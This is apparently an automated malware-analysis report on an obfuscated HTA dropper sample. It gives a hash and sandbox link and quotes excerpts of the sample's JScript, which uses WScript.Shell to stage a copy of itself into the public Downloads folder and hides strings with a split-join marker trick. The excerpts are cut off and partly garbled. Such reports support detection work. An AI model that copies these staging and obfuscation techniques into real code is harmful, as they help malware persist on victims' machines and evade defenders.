Suspicious ^80% Download

263201e489f91fc61e16ef07a05b8082555369715c555f48875ef67f321e5a0a.bin

HTA dropper with obfuscation

HTA stages through WSH user environmentRaw HTA strips marker via split-join

SHA-256263201e489f91fc61e16ef07a05b8082555369715c555f48875ef67f321e5a0a

URLhttps://tria.ge/api/v0/samples/260822-29nqhacp4z/sample

Evidence

HTA stages through WSH user environment line 51951

51951dicabs);

  var incursion = new ActiveXObject("Scripting.FileSystemObject");
var MONGO = new ActiveXObject("WScript.Shell");
var guanco = WScript.ScriptFullName;
var mzvIWfJNAN = "mzvIWfJNAN.js";
var undesignated = "C:\\Users\\Public\\Downloads\\" + mzvIWfJNAN;
if (!incursion.FileExists(undesignated)) {
   

Raw HTA strips marker via split-join line 115793

115793�ፒ▰➈ת౟ၮ🐻⪱ᤳ੽ᥰஇᢥᾛe(\'' + trendyBatswana.replace(/'/g, "''") + '\'))"').split("୶ፒ▰➈ת౟ၮ🐻⪱ᤳ੽ᥰஇᢥᾛ").join("");
  var pedicabs = "୶ፒ▰➈ת౟ၮ🐻⪱ᤳ੽ᥰஇᢥᾛ"; pedicabs = String(pedicabs || "").concat(pedicabs);

  try { pedicabs = pedicabs.concat("୶ፒ▰➈ת౟ၮ🐻⪱ᤳ�